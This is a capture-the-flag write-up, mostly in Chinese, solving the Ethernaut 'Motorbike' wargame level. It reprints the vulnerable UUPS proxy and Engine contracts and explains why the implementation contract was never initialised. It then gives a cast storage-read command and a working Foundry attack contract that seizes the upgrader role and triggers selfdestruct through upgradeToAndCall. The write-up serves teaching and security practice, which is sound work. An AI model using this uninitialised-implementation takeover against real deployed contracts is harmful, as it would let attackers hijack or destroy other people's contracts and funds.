# Ethernaut CTF Level 25 - Motorbike [toc] ## 題目 Ethernaut's motorbike has a brand new upgradeable engine design. Would you be able to selfdestruct its engine and make the motorbike unusable ? Things that might help: * EIP-1967 * UUPS upgradeable pattern * Initializable contract ```solidity= // SPDX-License-Identifier: MIT pragma solidity <0.7.0; import "openzeppelin-contracts-06/utils/Address.sol"; import "openzeppelin-contracts-06/proxy/Initializable.sol"; contract Motorbike { // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1 bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; struct AddressSlot { address value; } // Initializes the upgradeable proxy with an initial implementation specified by `_logic`. constructor(address _logic) public { require(Address.isContract(_logic), "ERC1967: new implementation is not a contract"); _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic; (bool success,) = _logic.delegatecall(abi.encodeWithSignature("initialize()")); require(success, "Call failed"); } // Delegates the current call to `implementation`. function _delegate(address implementation) internal virtual { // solhint-disable-next-line no-inline-assembly assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } // Fallback function that delegates calls to the address returned by `_implementation()`. // Will run if no other function in the contract matches the call data fallback() external payable virtual { _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value); } // Returns an `AddressSlot` with member `value` located at `slot`. function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r_slot := slot } } } contract Engine is Initializable { // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1 bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; address public upgrader; uint256 public horsePower; struct AddressSlot { address value; } function initialize() external initializer { horsePower = 1000; upgrader = msg.sender; } // Upgrade the implementation of the proxy to `newImplementation` // subsequently execute the function call function upgradeToAndCall(address newImplementation, bytes memory data) external payable { _authorizeUpgrade(); _upgradeToAndCall(newImplementation, data); } // Restrict to upgrader role function _authorizeUpgrade() internal view { require(msg.sender == upgrader, "Can't upgrade"); } // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. function _upgradeToAndCall(address newImplementation, bytes memory data) internal { // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0) { (bool success,) = newImplementation.delegatecall(data); require(success, "Call failed"); } } // Stores a new address in the EIP1967 implementation slot. function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); AddressSlot storage r; assembly { r_slot := _IMPLEMENTATION_SLOT } r.value = newImplementation; } } ``` <br> ## 分析 題目提供了兩個contract - Proxy contract (基本上不做任何事,只透過`fallback`做forward到implementation contract): `Motorbike` - Implementation contract (實際邏輯contract,但是使用proxy contract中的變數): `Engine` 要通關,必須`selfdestruct` Engine合約 <br> ### 通關思路 可以透過`Engine.upgradeToAndCall()` - 設定`newImplementation`為attacker contract - 在attacker contract實作`selfdestruct()`函數(例如 `trigger`) - 透過`_upgradeToAndCall` 的delegate,呼叫 `attacker.trigger()` ```solidity= function upgradeToAndCall(address newImplementation, bytes memory data) external payable { _authorizeUpgrade(); _upgradeToAndCall(newImplementation, data); } // Restrict to upgrader role function _authorizeUpgrade() internal view { require(msg.sender == upgrader, "Can't upgrade"); } // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. function _upgradeToAndCall(address newImplementation, bytes memory data) internal { // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0) { (bool success,) = newImplementation.delegatecall(data); require(success, "Call failed"); } } ``` <br> ### Engine合約在哪裡? 根據`Motorbike`合約中的函數可以推導出來 Engine合約地址存在slot `_IMPLEMENTATION_SLOT` ```solidity bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; // Fallback function that delegates calls to the address returned by `_implementation()`. // Will run if no other function in the contract matches the call data fallback() external payable virtual { _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value); } // Returns an `AddressSlot` with member `value` located at `slot`. function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r_slot := slot } } ``` 透過cast 工具可以找出來 ```shell cast storage <Motorbike contract> 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc --rpc-url https://rpc.ankr.com/eth_sepolia ``` ![截圖 2024-09-13 中午12.13.26](https://hackmd.io/_uploads/BJzgn4ZTR.png) <br> 在Etherscan上也能證明的確是contract ![截圖 2024-09-13 中午12.16.34](https://hackmd.io/_uploads/H1mJ64ZTR.png) <br> ### Engine Contract 在`initialize`函數中設定了 `horsePower`以及`ungrader` 在呼叫`upgradeToAndCall`會需要做`_authorizeUpgrade()` check,我們需要是upgrader才行 - 理當來說,只有Motorbike是upgrader ```solidity= contract Engine is Initializable { // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1 bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; address public upgrader; uint256 public horsePower; struct AddressSlot { address value; } function initialize() external initializer { horsePower = 1000; upgrader = msg.sender; } // Upgrade the implementation of the proxy to `newImplementation` // subsequently execute the function call function upgradeToAndCall(address newImplementation, bytes memory data) external payable { _authorizeUpgrade(); _upgradeToAndCall(newImplementation, data); } // Restrict to upgrader role function _authorizeUpgrade() internal view { require(msg.sender == upgrader, "Can't upgrade"); } // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. function _upgradeToAndCall(address newImplementation, bytes memory data) internal { // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0) { (bool success,) = newImplementation.delegatecall(data); require(success, "Call failed"); } } ``` <br> ### DelegationCall context 我們來驗證一下,可以發現`Engine` contract中看起來是沒有成功setup的 - 原因是因為`Motorbike.constructor`中的`_logic.delegatecall`只會改變`Motorbike`的`initializer` - 作為implementation contract的`Engine`其實沒有在自己context被initialized過 - **換言之,我們直接去呼叫Engine合約的`initialize`函數即可變成upgrader** ![截圖 2024-09-13 中午12.18.47](https://hackmd.io/_uploads/B1ENaNWTR.png) <br> 重新看一次`Motorbike`合約的slot排列,以及實際blockchain上的值如下圖 - 數值分別為關卡address以及 1000的hex - 對應`Engine`的參數排列 再次驗證`Engine`更改的是Motorbike的slot排列 ```solidity address public upgrader; uint256 public horsePower; ``` ![截圖 2024-09-13 中午12.55.15](https://hackmd.io/_uploads/BJI18Bb6R.png) <br> 成為`upgrader`後即可呼叫`Engine.upgradeToAndCall` 以上是題目的intended solution <br> ## 攻擊 (Before Dencun upgrade) by foundry ```solidity= // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.0; import "forge-std/Test.sol"; import "../src/levels/25-Motorbike/Motorbike.sol"; contract ContractTest is Test { Motorbike level25 = Motorbike(payable(0x6e7589340dd57B4c42CAcF212e64bd0ec48c1D9a)); Engine engine = Engine(0x50531FFeC89e977Ab6dC5D174D0d4a9EEd60480A); function setUp() public { Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); vm.createSelectFork(vm.rpcUrl("sepolia")); vm.label(address(this), "Attacker"); vm.label( address(0x6e7589340dd57B4c42CAcF212e64bd0ec48c1D9a), "Ethernaut25" ); } function testEthernaut25() public { AttackContract attacker = new AttackContract(engine); attacker.trigger(); } receive() external payable {} } // Works only in the foundry test contract AttackContract { Engine engine; constructor(Engine _engine) public { engine = _engine; } function trigger() public { engine.initialize(); bytes memory data = abi.encodeWithSignature("kill()"); engine.upgradeToAndCall(address(this), data); } function kill() public { console.log("Enter Kill"); selfdestruct(address(this)); } receive() external payable {} } ``` <br> ## 攻擊 (After Dencun upgrade) 由於Dencun升級後,intended solution中的`selfdestruct`受影響 可以參考大神寫的solution - https://github.com/Ching367436/ethernaut-motorbike-solution-after-decun-upgrade/